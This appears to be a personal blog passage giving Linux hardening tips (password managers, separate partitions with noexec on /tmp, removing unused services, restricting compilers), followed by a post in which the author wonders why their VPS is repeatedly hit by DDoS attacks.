Keyloggers are pretty useless when you don't type. Password managers are excellent because you can generate, copy and than paste a password where it's needed, and never have to type the password itself. Yes, there are some advanced trojans out there that can read the clipboard (and some not so advanced ones on Android systems...), but generally this is a really good move. It's also a lot easier to have /dev/urandom come up with your passwords than it is to invent your own totally random, 40 character stings. If at all possible, don't even use passwords, or use some kind of dual factor authentication system. Even in 2015, weak passwords are still one of the most common mistakes leading to full system compromise.

Use Separate Partitions

This should be a no-brainer, but it's just not. Even the Debian installer still struggles to properly partition a disk with seperate /var /tmp /usr /home /root & /boot partitions. Usually the installer fails because it does not allocate enough space to /root, and the system will not fit on the drive. I really wish someone would fix that. The solution is to partition the drive yourself before your install it. Use something like a Gparted live disc, because IME the installers built in partitioner really sucks. When you have, for example, /tmp on it's own partition, you can set things like nodev, nosuid, and noexec for that partition. This goes a hell of a long way keeping your system secure. The /tmp is generally world readable, writable and executable, and is almost always where a hacker will first try to download his malware after getting a shell.

Uninstall/Disable Whatever You Don't Need

The more applications running any given system, the more code there is to mess with, and hence more attack vectors. If you don't need a print server, get rid of CUPS! If you don't use RPC services, get rid of rpcbind. If you don't need service discovery, get rid of avahi. You get the point. Oh, one last thing... if you don't compile your own code, uninstall the compliers! It's often easier to upload a text file than a binary file, particular in the web app world.

Edit: Personally, I need the compilers, so instead of removing them you can just limit their execution to the superuser:

~: dpkg --list | grep compiler
ii  g++                           4:4.9.2-2ubuntu2   amd64   GNU C++ compiler
ii  g++-4.9                       4.9.2-10ubuntu13   amd64   GNU C++ compiler
ii  gcc                           4:4.9.2-2ubuntu2   amd64   GNU C compiler
ii  gcc-4.9                       4.9.2-10ubuntu13   amd64   GNU C compiler

~: cd /usr/bin
~: chmod 750 g++-4.9  gcc-4.9

DDOS'ing Someone is Not an Effective Way to Send a Message

Over the past few months, I have been getting emails from one of my vps providers informing me that I am constantly under DDOS attack. Sometimes it will happen once a week, other times up to 3 times in one day. Since the server is behind my providers insanely awesome firewall, I seldom notice any performance downgrade. However, there are those rare occaisons when the attacks get really bad, and my provider will shut the server down for a few minutes, which has disrupted my work.

I got an email from them today informing me that I was DDOS'd 3 times yesterday, and once today. They also asked me if I knew why I was being attacked so frequently. That's the first time anyone's ever asked me that. I replied "I have no idea... I wish I knew!"  It's remiscant of the 5 day attack on GIthub from China, in that the maintainers of Github had absolutely no idea why they were being attacked. They said something like "that's the frusterating thing about DDOS attacks-- it's impossible to know what the motive is."

Yeah, that about sums it up. It takes an awful lot of effort and cooridation to organize an attack like this, and if its going to be effective, than it will generally require hundreds of machines, at least. I've considering putting a message board on the server with a form, asking "Who the fuck are you, and what do you want?"

... But that would probably just open up another attack vector for them to use against me, whoever they are. It's like holding somebody captive for ransom and failing to send a note explaining what you want... Perhaps there is no message. I thought maybe it's a rival VPS provider that is trying to get customers to switch over to them, but if that is the case, wouldn't it be more effective to attack the VPS farm's gateway instead of one of the clients? I also checked my spam emails, and there are no letters from VPS providers soliciting a service, so that can't be the case. And according to my provider, I am, with certainty, the target.

I only wish that I knew why I am being targeted. Everytime this happens, I ask them if they'd give me the IP address's of the attackers, because I am curious to see which country it's coming from. So far, they have not told me. It's difficult to figure out where the attacks are coming from by looking at the kernel logs, because the attacks are filtered by the provider's firewall before they ever hit me. So I have to resort to guessing, again...